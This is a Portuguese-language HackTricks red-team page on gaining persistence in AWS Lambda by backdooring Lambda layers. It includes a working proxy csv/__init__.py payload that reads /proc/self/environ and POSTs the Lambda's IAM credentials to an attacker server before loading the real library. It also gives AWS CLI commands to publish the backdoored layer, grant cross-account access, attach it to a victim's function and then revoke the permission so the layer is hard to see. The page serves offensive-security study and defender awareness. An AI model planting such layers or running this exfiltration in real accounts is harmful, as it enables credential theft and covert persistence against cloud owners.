AWS - Lambda Layers Persistence

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Camadas Lambda

Uma camada Lambda é um arquivo .zip que pode conter código adicional ou outro conteúdo. Uma camada pode conter bibliotecas, um tempo de execução personalizado, dados ou arquivos de configuração.

É possível incluir até cinco camadas por função. Quando você inclui uma camada em uma função, o conteúdo é extraído para o diretório /opt no ambiente de execução.

Por padrão, as camadas que você cria são privadas para sua conta AWS. Você pode optar por compartilhar uma camada com outras contas ou tornar a camada pública. Se suas funções consomem uma camada que uma conta diferente publicou, suas funções podem continuar a usar a versão da camada após ela ter sido excluída, ou após a revogação de sua permissão para acessar a camada. No entanto, você não pode criar uma nova função ou atualizar funções usando uma versão de camada excluída.

Funções implantadas como uma imagem de contêiner não usam camadas. Em vez disso, você empacota seu tempo de execução preferido, bibliotecas e outras dependências na imagem do contêiner ao construir a imagem.

Caminho de carregamento Python

O caminho de carregamento que o Python usará no lambda é o seguinte:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Verifique como o segundo e terceiro posições são ocupadas por diretórios onde as camadas lambda descompactam seus arquivos: /opt/python/lib/python3.9/site-packages e /opt/python

Se um atacante conseguir inserir um backdoor em uma camada lambda usada ou adicionar uma que executará código arbitrário quando uma biblioteca comum for carregada, ele poderá executar código malicioso a cada invocação da lambda.

Portanto, os requisitos são:

  • Verificar as bibliotecas que são carregadas pelo código da vítima

  • Criar uma biblioteca proxy com camadas lambda que irá executar código personalizado e carregar a biblioteca original.

Bibliotecas pré-carregadas

Ao abusar dessa técnica, encontrei uma dificuldade: Algumas bibliotecas são já carregadas em tempo de execução do python quando seu código é executado. Eu esperava encontrar coisas como os ou sys, mas até a biblioteca json estava carregada. Para abusar dessa técnica de persistência, o código precisa carregar uma nova biblioteca que não esteja carregada quando o código é executado.

Com um código python como este, é possível obter a lista de bibliotecas que estão pré-carregadas dentro do tempo de execução do python na lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

E esta é a lista (verifique se bibliotecas como os ou json já estão lá)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

E esta é a lista de bibliotecas que o lambda inclui instaladas por padrão: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3]

Backdooring da Camada Lambda

Neste exemplo, vamos supor que o código alvo está importando csv. Vamos inserir um backdoor na importação da biblioteca csv.

Para fazer isso, vamos criar o diretório csv com o arquivo __init__.py nele, em um caminho que é carregado pelo lambda: /opt/python/lib/python3.9/site-packages Então, quando o lambda for executado e tentar carregar o csv, nosso arquivo __init__.py será carregado e executado. Este arquivo deve:

  • Executar nossa carga útil

  • Carregar a biblioteca csv original

Podemos fazer ambos com:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Em seguida, crie um arquivo zip com este código no caminho python/lib/python3.9/site-packages/__init__.py e adicione-o como uma camada lambda.

Você pode encontrar este código em https://github.com/carlospolop/LambdaLayerBackdoor

O payload integrado irá enviar as credenciais IAM para um servidor NA PRIMEIRA VEZ que for invocado ou APÓS um reset do contêiner lambda (mudança de código ou lambda fria), mas outras técnicas como as seguintes também podem ser integradas:

pageAWS - Steal Lambda Requests

Camadas Externas

Observe que é possível usar camadas lambda de contas externas. Além disso, uma lambda pode usar uma camada de uma conta externa mesmo que não tenha permissões. Também observe que o número máximo de camadas que uma lambda pode ter é 5.

Portanto, para melhorar a versatilidade dessa técnica, um atacante poderia:

  • Inserir um backdoor em uma camada existente do usuário (nada é externo)

  • Criar uma camada em sua conta, dar acesso da conta da vítima para usar a camada, configurar a camada na Lambda da vítima e remover a permissão.

  • A Lambda ainda poderá usar a camada e a vítima não terá uma maneira fácil de baixar o código das camadas (exceto obtendo um shell reverso dentro da lambda)

  • A vítima não verá camadas externas usadas com aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización